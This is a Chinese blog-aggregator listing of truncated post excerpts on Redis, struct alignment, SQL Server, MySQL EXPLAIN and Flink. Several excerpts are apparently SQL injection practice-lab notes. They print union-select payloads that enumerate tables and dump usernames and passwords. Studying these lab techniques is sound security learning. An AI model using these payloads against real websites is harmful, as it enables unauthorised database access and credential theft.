写的可能不太详细，详细请看https://www.cnblogs.com/-qing-/p/11610385.html#_lab2_0_0 友情提醒：发送数据请求不要乱加空格，否则结果可能显示不出来 十一关 uname=admin' order by 2#&passwd=1&submit=Submi ...
分类：
数据库 时间：
2020-01-11 21:59:19
阅读次数：
119
爆表payload ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查到 emails,referers,uagent ...
分类：
其他好文 时间：
2020-01-11 18:32:52
阅读次数：
76
Redis支持六种数据类型：string（字符串），hash（哈希），list（列表），set（集合）及zset(sorted set：有序集合)和基数（HyperLogLog）。 String（字符串） string 是 redis 最基本的类型，一个 key 对应一个 value。 string ...
分类：
其他好文 时间：
2020-01-11 13:37:59
阅读次数：
83
例如有一个网站：www.xxxxx.com/artist.asp?id=2id=2orderby3正常id=2orderby4不正常orderby需要获取字段的总数为3id=2unionselect1,2,3id=2unionselect1,2,database()#爆数据库名id=2unionselect1,2,database()有一些数据，union联合查询后，不会多行显示，就需要先让前面的
分类：
数据库 时间：
2020-01-11 10:01:12
阅读次数：
137
什么是结构体内存对齐？为什么要对齐？怎样对齐？ 结构体内存对齐：元素是按照定义顺序一个一个放到内存中去的，但并不是紧密排列的。 从结构体存储的首地址开始，每个元素放置到内存中时，它都会认为内存是按照自己的大小来划分的，因此元素放置的位置一定会在自己宽度的整数倍上开始。 struct T{ int a ...
分类：
其他好文 时间：
2020-01-10 15:29:47
阅读次数：
98
Create procedure [dbo].[sp_who_lock] ( @bKillPID Bit=0 -- 0: 查询 1: 结束掉相对应的死锁ID (可能导致数据异常)) as begin declare @spid int declare @blk int declare @count ...
分类：
数据库 时间：
2020-01-09 10:33:42
阅读次数：
368
1、复习 ->select 查询详解 select distinct（去除重复的） \ top … from + 表名 where + 筛选的条件 group by 分组 having order by ->union uninall ->datediff(second,startdate,endd ...
分类：
数据库 时间：
2020-01-08 22:53:19
阅读次数：
87
简介 MySQL 提供了一个 EXPLAIN 命令, 它可以对 SELECT 语句进行分析, 并输出 SELECT 执行的详细信息, 以供开发人员针对性优化.EXPLAIN 命令用法十分简单, 在 SELECT 语句前加上 Explain 就可以了, 例如: EXPLAIN SELECT * fro ...
分类：
数据库 时间：
2020-01-08 21:18:22
阅读次数：
91
less 2 跟less 1区别： 去掉单引号查询表的用户名与密码 http://10.9.2.81/Less-2/?id=-1 union select2,3,group_concat(username,':',password) from security.users --+ less 3 跟l ...
分类：
数据库 时间：
2020-01-06 21:20:23
阅读次数：
109
Apache Flink Apache Flink 是一个兼顾高吞吐、低延迟、高性能的分布式处理框架。在实时计算崛起的今天，Flink正在飞速发展。由于性能的优势和兼顾批处理，流处理的特性，Flink可能正在颠覆整个大数据的生态。 DataSet API 首先要想运行Flink，我们需要下载并解压F ...
